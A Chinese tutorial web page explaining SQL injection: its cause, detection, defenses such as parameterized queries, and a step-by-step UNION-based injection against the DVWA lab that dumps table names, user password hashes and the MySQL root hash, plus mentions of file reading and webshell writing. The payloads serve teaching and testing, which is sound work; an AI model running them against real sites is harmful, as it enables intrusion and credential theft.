一篇文章了解SQL注入漏洞

目录
  • SQL注入漏洞原理
  • SQL注入内容
    • 注入条件
  • SQL注释符与注入流程
  • SQL注入分类
    • SQLMap 分类
    • 接受请求类型区分
    • 注入数据类型的区分
  • SQL注入思路
  • 手工注入思路
  • SQL 详细注入过程
  • 总结

SQL注入漏洞原理

漏洞原理

  web页面源代码对用户提交的参数没有做出任何过滤限制,直接扔到SQL语句中去执行,导致特殊字符改变了SQL语句原来的功能和逻辑。黑客利用此漏洞执行恶意的SQL语句,如查询数据、下载数据,写webshell、执行系统命令以此来绕过登录权限限制等。

检测方法

  可以利用sqlmap进行SQL注入的检查或利用,也可以使用其他SQL注入工具。也可以手工测,利用单引号、and 1=1以及字符型注入进行判断。

防御措施

  (1)sql 语句预编译和绑定变量

  (2)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。

  (3)对进入数据库的特殊字符( ’ <>&*; 等)进行转义处理,或编码转换。

  (4)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。

  (5)数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。

  (6)网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。

  (7)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害.

  (8)避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

SQL注入内容

注入条件

SQL 注入需要满足以下两个条件:

  • 参数可控:从前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。 判断注入 当用户传入参数为 1’的时候,在数据库执行如下所示:
 select * from users where id=1' 

此 SQL语句不符合语法规则就会报错。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

当用户传入参数为 1 and 1=1 时

select * from users where id=1 and 1=1 

因为 1=1 为真,id=1 也是真, and 两边均为真。所以页面会返回 id=1 的结果。

如果用户传入参数为 1 and 1=2 时

因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的结果。

  由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句,进行攻击,致使信息泄露,甚至获取服务器权限。

  其实也就是看有没有回显。回显是指页面有数据信息返回。无回显是指根据输入的语句,页面没有任何变化或者没有数据库中的内容显示到网页中。

id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"

SQL注释符与注入流程

注释符:

  • #(单行注释 注意与 url 中的#区分)
  • --空格 (单行注释 注意为短线短线空格)
  • /*()*/ (多行注释 至少存在俩处的注入 /**/常用来作为空格)

注入流程:

  • 是否存在注入并且判断注入类型
  • 判断字段数 order by
  • 确定回显点 union select 1,2
  • 查询数据库信息 @@version @@datadir
  • 查询用户名,数据库名 user() database()
  • 文件读取 union select 1,load_file(‘C:\wondows\win.ini’)#
  • 写入 webshell select…into outfile…

使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过。

SQL注入分类

SQLMap 分类

SQL 注入类型有以下 5 种:

UNION query SQL injection(可联合查询注入)

Stacked queries SQL injection(可多语句查询注入)堆叠查询

Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

Time-based blind SQL injection(基于时间延迟注入)

输入命令sqlmap -hh

输入命令sqlmap -u

接受请求类型区分

GET 注入

GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要

URL 编码

POST 注入

POST 请求参数是放在请求 body 里的,长度没有限制

COOKIE 注入

cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取

注入数据类型的区分

int 整型

select * from users where id=1

sting 字符型

select * from users where username=‘admin'

like 搜索型

select * from news where title like ‘%标题%'

SQL注入思路

1、寻找注入点,可以通过 web 扫描工具实现

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)还可以获取数据库的 root 账号 密码—思路

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息。

手工注入思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解 SQL 查询语句中的字段数 order by N

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.查询到账户的数据

SQL 详细注入过程

猜数据库:

1' union select 1,database()

payload 利用另一种方式:

1' union select user(),database()version()

得到数据库名:dvwa

PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合我们构造的另外一个 select.注意在使用 union 查询的时候需要和主查询的列数相同。

猜表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()

得到表名:guestbook,users
group_concat 分组
猜列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

(用编码就不用单引号,用单引号就不用编码)

得到列:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

猜用户数据:

列举出几种 payload:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #

得到用户数据:

admin 5f4dcc3b5aa765d61d8327deb882cf99

猜 root 用户:#

1' union select 1,group_concat(user,password) from mysql.user#

得到 root 用户信息:

root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

总结

到此这篇关于SQL注入漏洞的文章就介绍到这了,更多相关SQL注入漏洞内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • 如此高效通用的分页存储过程是带有sql注入漏洞的zt

    在google中搜索"分页存储过程"会出来好多结果,是大家常用的分页存储过程,今天我却要说它是有漏洞的,而且漏洞无法通过修改存储过程进行补救,如果你觉得我错了,请读下去也许你会改变看法. 通常大家都会认为存储过程可以避免sql注入的漏洞,这适用于一般的存储过程,而对于通用分页存储过程是不适合的,请看下面的代码和分析! 一般的通用的分页存储过程代码如下: 复制代码 代码如下: CREATE PROCEDURE pagination @tblName varchar(255), -- 表名

  • SQL注入漏洞过程实例及解决方案

    代码示例: public class JDBCDemo3 { public static void demo3_1(){ boolean flag=login("aaa' OR ' ","1651561"); //若已知用户名,用这种方式便可不用知道密码就可登陆成功 if (flag){ System.out.println("登陆成功"); }else{ System.out.println("登陆失败"); } } pub

  • 利用SQL注入漏洞登录后台的实现方法

    早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的. 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的. 前些天,网上传得沸沸扬扬的"拖库"事件给我们敲响了安全警钟. 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下.

  • 利用SQL注入漏洞拖库的方法

    想在本地测试的话,可以在此免积分下载:利用SQL注入漏洞拖库 同上一篇文章一样,我们需要创建数据表,并在表中出入几条数据以备测试之用. 在数据库中建立一张表: 复制代码 代码如下: CREATE TABLE `article` ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET

  • 一篇文章了解SQL注入漏洞

    目录 SQL注入漏洞原理 SQL注入内容 注入条件 SQL注释符与注入流程 SQL注入分类 SQLMap 分类 接受请求类型区分 注入数据类型的区分 SQL注入思路 手工注入思路 SQL 详细注入过程 总结 SQL注入漏洞原理 漏洞原理   web页面源代码对用户提交的参数没有做出任何过滤限制,直接扔到SQL语句中去执行,导致特殊字符改变了SQL语句原来的功能和逻辑.黑客利用此漏洞执行恶意的SQL语句,如查询数据.下载数据,写webshell.执行系统命令以此来绕过登录权限限制等. 检测方法  

  • PJBlog存在SQL注入漏洞大家要快下补丁了

    根据我们针对PJBlog进行的程序代码审计发现,PJBlog多个页面存在SQL注入漏洞,致使恶意用户可以利用注入漏洞拿到管理员帐号密码,并且进行恶意攻击. 我们强烈建议使用PJBlog的用户立刻检查一下您的系统是否受此漏洞影响,并紧密的关注PJBlog官方所发布的安全更新 官方补丁: http://bbs.pjhome.net/thread-26090-1-1.html

  • 对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析

    ThinkPHP官网上曾有一段公告指出,在ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件 根据官方文档对"防止SQL注入"的方法解释(参考http://doc.thinkphp.cn/manual/sql_injection.html) 使用查询条件预处理可以防止SQL注入,没错,当使用如下代码时可以起到效果: $Model->where("id=%d and usern

  • PHPCMS2008广告模板SQL注入漏洞修复

    00 漏洞描述 PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透. 01 漏洞分析 漏洞产生的位置: /ads/include/ads_place.class.php的show方法中. function show($placeid) ... if($adses[0]['option']) { foreach($adses as $ads) { $contents[] =

  • PHP 小心urldecode引发的SQL注入漏洞

    Ihipop 学校的 Discuz X1.5 论坛被黑,在那里吵了一个下午.Google 一下"Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit",你就知道. Discuz 是国内很流行的论坛系统,被黑的网站应该会很多吧.不过我对入侵别人的网站不感兴趣,同时也鄙视那些代码都不会写只会使用别人放出的工具攻击的所谓的"黑客". 粗略看了一下代码,这个 SQL 注入漏洞是 urldecode 函数造成

  • php中sql注入漏洞示例 sql注入漏洞修复

    在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下. 一.SQL注入的步骤 a)  寻找注入点(如:登录界面.留言板等) b)  用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c)  将sql语句发送给数据库管理系统(DBMS) d)  DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e)  DBMS接

  • asp终极防范SQL注入漏洞

    下面给出4个函数,足够你抵挡一切SQL注入漏洞!读懂代码,你就能融会贯通. 注意要对所有的request对象进行过滤:包括 request.cookie, request.ServerVariables 等等容易被忽视的对象: 复制代码 代码如下: function killn(byval s1) '过滤数值型参数 if not isnumeric(s1) then killn=0 else if s1<0 or s1>2147483647 then killn=0 else killn=cl

  • 蓝雨设计整站SQL注入漏洞

    本来是投稿文章来的,因为稿件的问题所以就上不了杂志,再加上最近有些人在网站留言说三道四的猜测蓝雨的问题,所以我就公开漏洞预警所说的漏洞,官方已经把版本都打了补丁,当然有些使用网站至今还是存在着SQL注入漏洞的,所以一切后果与我以及BCT小组无关 最近无聊,在网上走来走去看看.发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程

随机推荐